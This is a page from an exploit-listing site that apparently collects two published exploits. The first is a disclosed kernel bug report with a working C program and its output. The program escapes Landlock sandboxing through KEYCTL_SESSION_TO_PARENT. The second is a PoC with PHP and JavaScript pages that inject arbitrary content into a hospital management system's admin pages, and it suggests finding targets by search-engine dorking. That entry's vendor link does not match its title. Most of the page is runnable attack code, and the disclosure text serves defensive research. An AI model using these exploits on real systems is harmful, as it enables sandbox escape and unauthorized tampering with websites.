Latest exploits :: CodePwn

<pre><code>Linux: landlock can be disabled thanks to missing cred_transfer hook; and Smack looks dodgy too<br /><br />I found a logic bug that makes it possible for a process to get rid of all Landlock restrictions applied to it:<br />When a process' cred struct is replaced, this _almost_ always invokes the cred_prepare LSM hook; but in one special case (when KEYCTL_SESSION_TO_PARENT updates the parent's credentials), the cred_transfer LSM hook is used instead. Landlock only implements the cred_prepare hook, not cred_transfer, so KEYCTL_SESSION_TO_PARENT causes all information on Landlock restrictions to be lost.<br /><br />The one piece of good news about this is that it requires access to the keyctl() syscall; and I think Landlock is typically used in combination with some kind of seccomp allowlist, which will probably _usually_ make this issue unreachable from sandboxed code?<br /><br />I had a look at the other LSMs that have cred_prepare or cred_transfer hooks:<br /><br /> - AppArmor handles both hooks in the same way, that's fine<br /> - SELinux handles both hooks in the same way, that's fine<br /> - Tomoyo only handles cred_prepare, not cred_transfer, but it only uses the<br /> hook for something weird that's unrelated to the actual cred structs, so<br /> that's probably fine<br /> - Smack handles both but handles them differently; smack_cred_transfer() only<br /> transfers a subset of the information that smack_cred_prepare() transfers.<br /> That looks a bit dodgy to me but I don't really understand Smack - Casey, can<br /> you check if Smack handles KEYCTL_SESSION_TO_PARENT correctly?<br /><br />I will send a suggested fix for Landlock in a minute.<br /><br /><br />Here's a reproducer for escaping from Landlock confinement, tested on latest<br />mainline (at commit 786c8248dbd33a5a7a07f7c6e55a7bfc68d2ca48):<br /><br />```<br />user@vm:~/landlock-houdini$ cat landlock-houdini.c<br />#define _GNU_SOURCE<br />#include <unistd.h><br />#include <err.h><br />#include <stdint.h><br />#include <stdlib.h><br />#include <fcntl.h><br />#include <stdio.h><br />#include <sys/prctl.h><br />#include <sys/wait.h><br />#include <sys/syscall.h><br />#include <linux/keyctl.h><br /><br />/* stuff from the landlock header */<br />struct landlock_ruleset_attr {<br /> uint64_t handled_access_fs;<br />};<br />#define LANDLOCK_ACCESS_FS_WRITE_FILE (1ULL << 1)<br /><br /><br />#define SYSCHK(x) ({ \\<br /> typeof(x) __res = (x); \\<br /> if (__res == (typeof(x))-1) \\<br /> err(1, \"SYSCHK(\" #x \")\"); \\<br /> __res; \\<br />})<br /><br />int main(void) {<br /> /* == tell landlock to block opening any files for writing == */<br /> SYSCHK(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0));<br /> struct landlock_ruleset_attr ruleset_attr = {<br /> .handled_access_fs = LANDLOCK_ACCESS_FS_WRITE_FILE<br /> };<br /> int ruleset = SYSCHK(syscall(444/*__NR_landlock_create_ruleset*/, &ruleset_attr, sizeof(ruleset_attr), 0));<br /> SYSCHK(syscall(446/*__NR_landlock_restrict_self*/, ruleset, 0));<br /><br /><br /> /* == make sure we really can't open files for writing == */<br /> int open_res = open(\"/dev/null\", O_WRONLY);<br /> if (open_res != -1)<br /> errx(1, \"open for write still worked after sandboxing???\");<br /> perror(\"open for write failed as expected\");<br /><br /><br /> /* == try to escape from landlock == */<br /> /* needed for KEYCTL_SESSION_TO_PARENT permission checks */<br /> SYSCHK(syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, NULL, 0, 0, 0));<br /> pid_t child = SYSCHK(fork());<br /> if (child == 0) {<br /> /*<br /> * KEYCTL_SESSION_TO_PARENT is a no-op unless we have a different session<br /> * keyring in the child, so make that happen.<br /> */<br /> SYSCHK(syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, NULL, 0, 0, 0));<br /><br /> /*<br /> * This is where the magic happens:<br /> * KEYCTL_SESSION_TO_PARENT installs credentials on the parent that<br /> * never go through the cred_prepare hook, this path uses cred_transfer<br /> * instead.<br /> * So basically after this call, the parent's landlock restrictions<br /> * are gone.<br /> */<br /> SYSCHK(syscall(__NR_keyctl, KEYCTL_SESSION_TO_PARENT, 0, 0, 0, 0));<br /> exit(0);<br /> }<br /> int wstatus;<br /> SYSCHK(waitpid(child, &wstatus, 0));<br /> if (!WIFEXITED(wstatus) || WEXITSTATUS(wstatus) != 0)<br /> errx(1, \"child failed unexpectedly, unable to test bug\");<br /><br /><br /> /* retry the same operation that was previously blocked to see if we escaped */<br /> int open_res2 = open(\"/dev/null\", O_WRONLY);<br /> if (open_res2 != -1)<br /> errx(1, \"open for write works again, VULNERABLE!\");<br /> perror(\"open for write failed as it should, seems fixed\");<br />}<br />user@vm:~/landlock-houdini$ gcc -o landlock-houdini landlock-houdini.c -Wall<br />user@vm:~/landlock-houdini$ ./landlock-houdini<br />open for write failed as expected: Permission denied<br />landlock-houdini: open for write works again, VULNERABLE!<br />user@vm:~/landlock-houdini$<br />```<br /><br /><br />This bug is subject to a 90-day disclosure deadline. If a fix for this<br />issue is made available to users before the end of the 90-day deadline,<br />this bug report will become public 30 days after the fix was made<br />available. Otherwise, this bug report will become public at the deadline.<br />The scheduled deadline is 2024-10-22.<br /><br />For more details, see the Project Zero vulnerability disclosure policy:<br />https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-<br />policy.html<br /><br />Related CVE Numbers: CVE-2024-42318.<br /><br /><br /><br />Found by: jannh@google.com<br /><br /></code></pre>

<pre><code>=============================================================================================================================================<br />| # Title : Hospital Management System 1.0(WYSIWYG) code injection Vulnerability |<br />| # Author : indoushka |<br />| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |<br />| # Vendor : https://phpgurukul.com/wp-content/uploads/2017/12/Hostel-Management-Syste-Updated-Code.zip |<br />=============================================================================================================================================<br /><br />poc :<br /><br />[+] Dorking İn Google Or Other Search Enggine.<br /><br />[+] Part 01 : about-us.php<br /><br />[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file /hms/admin/about-us.php . <br /> <br />[+] Line 2 : Make sure to include your database connection here<br /><br />[+] Line 44 : Send the form data using fetch API (Set your target url)<br /><br />[+] save payload as poc.php in your localhost path .<br /><br />[+] payload : <br /><br /><?php<br />include('http://127.0.0.1/hospital/hms/admin/include/config.php'); // Make sure to include your database connection here<br /><br />if (isset($_POST['submit'])) {<br /> $pagetitle = $_POST['pagetitle'];<br /> $pagedes = $con->real_escape_string($_POST['pagedes']);<br /> $query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes' WHERE PageType='aboutus'");<br /><br /> if ($query) {<br /> echo '<script>alert("About Us has been updated.")</script>';<br /> } else {<br /> echo '<script>alert("Something Went Wrong. Please try again.")</script>';<br /> }<br /> exit;<br />}<br />?><br /><br /><!DOCTYPE html><br /><html lang="en"><br /><head><br /> <meta charset="UTF-8"><br /> <meta name="viewport" content="width=device-width, initial-scale=1.0"><br /> <title>indoushka | Update About Us Content</title><br /> <br /> <script src="http://js.nicedit.com/nicEdit-latest.js" type="text/javascript"></script><br /> <script type="text/javascript"><br /> // Apply NicEdit to all text areas when the DOM is loaded<br /> bkLib.onDomLoaded(nicEditors.allTextAreas);<br /><br /> // Function to handle form submission using JavaScript<br /> function submitForm(event) {<br /> event.preventDefault(); // Prevent default form submission<br /><br /> const pagetitle = document.getElementById('pagetitle').value;<br /> const pagedes = nicEditors.findEditor('pagedes').getContent(); // Get the NicEdit content<br /><br /> // Prepare the form data to be sent<br /> const formData = new FormData();<br /> formData.append('pagetitle', pagetitle);<br /> formData.append('pagedes', pagedes);<br /> formData.append('submit', true);<br /><br /> // Send the form data using fetch API<br /> fetch('http://127.0.0.1/hospital/hms/admin/about-us.php', {<br /> method: 'POST',<br /> body: formData,<br /> })<br /> .then(response => response.text())<br /> .then(data => {<br /> alert('About Us content has been updated successfully.');<br /> console.log(data); // Handle the response from the server<br /> })<br /> .catch(error => {<br /> console.error('Error:', error);<br /> });<br /> }<br /> </script><br /> <style><br /> /* Center the form container */<br /> .editor-container {<br /> max-width: 800px;<br /> margin: 0 auto; /* Center horizontally */<br /> padding: 20px;<br /> text-align: center; /* Center the content inside */<br /> }<br /><br /> /* Ensure the textarea takes the full width */<br /> #pagedes {<br /> width: 100%;<br /> height: 300px;<br /> margin: 0 auto;<br /> }<br /> </style><br /></head><br /><body><br /> <div id="app"><br /> <div class="app-content"><br /> <div class="main-content"><br /> <div class="wrap-content container" id="container"><br /> <br /> <section id="page-title"><br /> <div class="row"><br /> <div class="col-sm-8"><br /> <h1 class="mainTitle">Update the About Us Content</h1><br /> </div><br /> <br /> </li><br /> </ol><br /> </div><br /> </section><br /> <br /> <div class="container-fluid container-fullw bg-white"><br /> <div class="row"><br /> <div class="col-md-12"><br /> <br /> <div class="editor-container"><br /> <form class="forms-sample" method="post" onsubmit="submitForm(event);"><br /> <div class="form-group"><br /> <label for="pagetitle">Page Title</label><br /> <input id="pagetitle" name="pagetitle" type="text" class="form-control" required><br /> </div><br /> <div class="form-group"><br /> <label for="pagedes">Page Description</label><br /> <br /> <textarea class="form-control" name="pagedes" id="pagedes" rows="12"></textarea><br /> </div><br /> <button type="submit" class="btn btn-primary mr-2" name="submit">Submit</button><br /> </form><br /> </div><br /> </div><br /> </div><br /> </div><br /> <br /> </div><br /> </div><br /> </div><br /> </div><br /> <br /></body><br /></html><br /><br />---------------------- [+] Part 02 : contact.php [+] --------------------<br /><br />[+] Line 4 : Make sure to include your database connection here<br /><br />[+] Line 60 : Send the form data using fetch API (Set your target url)<br /><br />[+] save payload as poc.php in your localhost path .<br /><br />[+] payload : <br /><br /><?php<br /><br />// عنوان الخادم الخارجي<br />$url = 'http://127.0.0.1/hospital/hms/admin/include/config.php';<br /><br />// جلب البيانات من الخادم الخارجي<br />$response = file_get_contents($url);<br /><br />// التحقق من وجود البيانات<br />if ($response !== FALSE) {<br /> // التعامل مع البيانات<br /> echo $response;<br />} else {<br /> echo 'حدث خطأ أثناء جلب البيانات.';<br />}<br /><br />if (isset($_POST['submit'])) {<br /> $pagetitle = $_POST['pagetitle'];<br /> $pagedes = $con->real_escape_string($_POST['pagedes']);<br /> $email = $con->real_escape_string($_POST['email']);<br /> $mobnum = $con->real_escape_string($_POST['mobnum']);<br /> <br /> $query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes', Email='$email', MobileNumber='$mobnum' WHERE PageType='contactus'");<br /><br /> if ($query) {<br /> echo '<script>alert("Contact Us has been updated.")</script>';<br /> } else {<br /> echo '<script>alert("Something Went Wrong. Please try again.")</script>';<br /> }<br /> exit;<br />}<br /><br />?><br /><!DOCTYPE html><br /><html lang="en"><br /><head><br /> <meta charset="UTF-8"><br /> <meta name="viewport" content="width=device-width, initial-scale=1.0"><br /> <title>Admin | Update Contact Us Content</title><br /> <br /> <script src="http://js.nicedit.com/nicEdit-latest.js" type="text/javascript"></script><br /> <script type="text/javascript"><br /> bkLib.onDomLoaded(nicEditors.allTextAreas);<br /><br /> function submitForm(event) {<br /> event.preventDefault();<br /><br /> const pagetitle = document.getElementById('pagetitle').value;<br /> const pagedes = nicEditors.findEditor('pagedes').getContent();<br /> const email = document.getElementById('email').value;<br /> const mobnum = document.getElementById('mobnum').value;<br /><br /> const formData = new FormData();<br /> formData.append('pagetitle', pagetitle);<br /> formData.append('pagedes', pagedes);<br /> formData.append('email', email);<br /> formData.append('mobnum', mobnum);<br /> formData.append('submit', true);<br /><br /> fetch('http://127.0.0.1/hospital/hms/admin/contact.php', {<br /> method: 'POST',<br /> body: formData,<br /> })<br /> .then(response => response.text())<br /> .then(data => {<br /> alert('Contact Us content has been updated successfully.');<br /> console.log(data);<br /> })<br /> .catch(error => {<br /> console.error('Error:', error);<br /> });<br /> }<br /> </script><br /> <style><br /> .editor-container {<br /> max-width: 800px;<br /> margin: 0 auto;<br /> padding: 20px;<br /> text-align: center;<br /> }<br /><br /> #pagedes {<br /> width: 100%;<br /> height: 300px;<br /> margin: 0 auto;<br /> }<br /> </style><br /></head><br /><body><br /> <div id="app"><br /> <div class="app-content"><br /> <div class="main-content"><br /> <div class="wrap-content container" id="container"><br /> <section id="page-title"><br /> <div class="row"><br /> <div class="col-sm-8"><br /> <h1 class="mainTitle">Admin | Update Contact Us Content</h1><br /> </div><br /> <ol class="breadcrumb"><br /> <li class="active"><br /> <span>Update Contact Us Content</span><br /> </li><br /> </ol><br /> </div><br /> </section><br /> <div class="container-fluid container-fullw bg-white"><br /> <div class="row"><br /> <div class="col-md-12"><br /> <div class="editor-container"><br /> <form class="forms-sample" method="post" onsubmit="submitForm(event);"><br /> <div class="form-group"><br /> <label for="pagetitle">Page Title</label><br /> <input id="pagetitle" name="pagetitle" type="text" class="form-control" required><br /> </div><br /> <div class="form-group"><br /> <label for="pagedes">Page Description</label><br /> <textarea class="form-control" name="pagedes" id="pagedes" rows="12"></textarea><br /> </div><br /> <div class="form-group"><br /> <label for="email">Email</label><br /> <input id="email" name="email" type="email" class="form-control" required><br /> </div><br /> <div class="form-group"><br /> <label for="mobnum">Mobile Number</label><br /> <input id="mobnum" name="mobnum" type="text" class="form-control" required><br /> </div><br /> <button type="submit" class="btn btn-primary mr-2" name="submit">Submit</button><br /> </form><br /> </div><br /> </div><br /> </div><br /> </div><br /> </div><br /> </div><br /> </div><br /> </div><br /></body><br /></html><br /><br /><br />Greetings to :============================================================<br />jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br />==========================================================================<br /></code></pre>